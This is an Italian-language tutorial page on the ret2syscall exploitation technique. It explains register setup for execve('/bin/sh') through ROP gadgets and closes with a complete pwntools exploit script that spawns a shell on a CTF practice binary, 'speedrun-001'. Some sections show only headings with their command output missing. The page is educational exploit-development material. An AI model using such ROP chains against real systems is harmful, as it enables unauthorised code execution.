Ret2syscall
Ret2syscall
Informazioni di Base
Questo è simile a Ret2lib, tuttavia, in questo caso non chiameremo una funzione da una libreria. In questo caso, tutto sarà preparato per chiamare la syscall sys_execve
con alcuni argomenti per eseguire /bin/sh
. Questa tecnica viene solitamente eseguita su binari compilati staticamente, quindi potrebbero esserci molti gadget e istruzioni syscall.
Per preparare la chiamata alla syscall è necessaria la seguente configurazione:
rax: 59 Specifica sys_execve
rdi: ptr a "/bin/sh" specifica il file da eseguire
rsi: 0 specifica che non vengono passati argomenti
rdx: 0 specifica che non vengono passate variabili di ambiente
Quindi, fondamentalmente è necessario scrivere la stringa /bin/sh
da qualche parte e quindi eseguire la syscall
(avendo cura del padding necessario per controllare lo stack). Per fare ciò, abbiamo bisogno di un gadget per scrivere /bin/sh
in un'area conosciuta.
Un'altra syscall interessante da chiamare è mprotect
che consentirebbe a un attaccante di modificare le autorizzazioni di una pagina in memoria. Questo può essere combinato con ret2shellcode.
Gadget dei registri
Iniziamo trovando come controllare quei registri:
Con questi indirizzi è possibile scrivere il contenuto nello stack e caricarlo nei registri.
Scrivere una stringa
Memoria scrivibile
Prima è necessario trovare un luogo scrivibile in memoria
Scrivere una stringa in memoria
Successivamente è necessario trovare un modo per scrivere contenuti arbitrari in questo indirizzo.
Automatizzare la catena ROP
Il comando seguente crea una catena ROP completa per sys_execve
dato un binario statico quando sono presenti gadget write-what-where e istruzioni syscall:
32 bit
64 bit
Gadget Mancanti
Se ti mancano gadget, ad esempio per scrivere /bin/sh
in memoria, puoi utilizzare la tecnica SROP per controllare tutti i valori dei registri (inclusi RIP e i registri dei parametri) dallo stack:
```python from pwn import *
target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')
Establish our ROP Gadgets
popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)
0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
Our syscall gadget
syscall = p64(0x40129c)
''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget
''' Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0
syscall '''
rop += popRax rop += p64(0x3b)
rop += popRdi rop += p64(0x6b6000)
rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)
rop += syscall
Add the padding to the saved return address
payload = "0"*0x408 + rop
Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Last updated